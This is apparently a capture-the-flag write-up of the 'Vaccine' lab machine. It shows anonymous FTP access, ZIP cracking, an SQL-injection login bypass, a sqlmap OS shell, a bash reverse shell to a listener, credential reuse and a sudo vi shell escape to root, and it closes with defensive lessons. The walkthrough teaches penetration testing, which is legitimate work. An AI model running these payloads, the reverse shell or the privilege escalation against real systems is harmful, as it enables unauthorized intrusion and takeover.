TL;DR
Vaccine exposes FTP with anonymous access, serving a password-protected backup.zip. John cracks the password to qwerty789 — the same password for the web admin. The PHP login is SQL-injectable (' OR '1'='1), but credentials from the ZIP also work. sqlmap with --os-shell gives a shell as postgres. sudo -l reveals /bin/vi runnable as root — :!/bin/bash escapes to root.
Recon
1. Port scan
$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x
21/tcp open ftp vsftpd 3.0.3
ftp-anon: Anonymous FTP login allowed
22/tcp open ssh OpenSSH 8.0p1 Ubuntu
80/tcp open http Apache httpd 2.4.41
2. FTP anonymous login
$ ftp 10.129.x.x
Connected to 10.129.x.x.
Name: anonymous
331 Please specify the password.
Password: [empty]
ftp> ls
-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
ftp> get backup.zip
3. ZIP password cracking
$ zip2john backup.zip > zip.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
qwerty789 (backup.zip/index.php)
Contents: index.php and style.css — the web application source. index.php reveals the admin credentials used in the database.
Web Application
4. Login bypass via SQL injection
The login form in index.php:
$sql="SELECT * FROM users WHERE username='".$_POST['username']."' and password='".$_POST['password']."'";
Classic unsanitized string concatenation. Bypass:
username: admin' OR '1'='1'--
password: anything
This evaluates to WHERE username='admin' OR '1'='1' — always true, returns first row.
Alternatively, the ZIP contents revealed the admin password (use it directly in the login form).
5. sqlmap OS shell
The application passes user input directly to PostgreSQL:
$ sqlmap -u "http://10.129.x.x/" \
--forms --dbms=PostgreSQL \
--os-shell
os-shell> id
uid=111(postgres) gid=117(postgres) groups=117(postgres)
6. Upgrade to interactive shell
os-shell> bash -c 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1'
# nc listener catches:
postgres@vaccine:/var/lib/postgresql/11/main$
$ cat /var/www/html/dashboard.php | grep pass
$conn = pg_connect("host=localhost dbname=carsdb user=postgres password=P@s5w0rd!");
Password: P@s5w0rd! — used later for SSH.
$ ssh ftpuser@10.129.x.x
ftpuser@vaccine:~$ cat user.txt
[user flag]
Privilege Escalation
7. sudo enumeration
ftpuser@vaccine:~$ sudo -l
User ftpuser may run the following commands on vaccine:
(ALL) NOPASSWD: /bin/vi /etc/postgresql/11/main/pg_hba.conf
vi is runnable as root (via sudo) to edit the PostgreSQL config file.
8. vi shell escape → root
ftpuser@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
# In vi normal mode:
:!/bin/bash
root@vaccine:/etc/postgresql/11/main# id
uid=0(root) gid=0(root) groups=0(root)
root@vaccine:~# cat root.txt
[root flag]
What’s actually broken
| # | Vulnerability | Severity |
|---|---|---|
| 1 | FTP anonymous access serving sensitive archive | High |
| 2 | SQL injection in login form (no parameterized queries) | Critical |
| 3 | Weak ZIP password (qwerty789) | High |
| 4 | vi in sudo rules (allows shell escape) | Critical |
| 5 | Database credentials in dashboard.php | Medium |
Lessons learned
- sudo with editors = root shell. Any text editor in sudo rules allows shell escape. vi:
:!/bin/sh. nano: Ctrl+R Ctrl+X. Less:!sh. Check GTFOBins for your specific editor. - Parameterized queries prevent all SQLi. PHP PDO:
$stmt = $pdo->prepare('SELECT * FROM users WHERE username=? AND password=?'); $stmt->execute([$user, $pass]);— no injection possible regardless of input. - FTP anonymous directories should be read-only. If FTP is needed for anonymous download, ensure no write access and never expose sensitive files. Better: use HTTPS.
- Reused passwords between services compound vulnerabilities. The ZIP password matching the web admin password is a single point of failure — cracking one reveals the other.
Decision archaeology
| Approach | Result | Pivot |
|---|---|---|
| Cracked ZIP before attempting web exploitation | ZIP might contain credentials usable for web | Found admin pass + source code showing SQLi |
| Used sqlmap instead of manual SQLi for RCE | Manual COPY TO PROGRAM syntax was failing | sqlmap –os-shell worked reliably |
| Used vi escape over pg_dump for privesc | vi escape is simpler; pg_dump also exploitable but requires more steps | Got root in one command |
| Tried ftp anonymous login with password qwerty789 | FTP PASS qwerty789 → 530 Login incorrect — FTP only accepts anonymous/blank password, not web-cracked password | Reverted to anonymous:anonymous for FTP access; qwerty789 was exclusively for web admin login |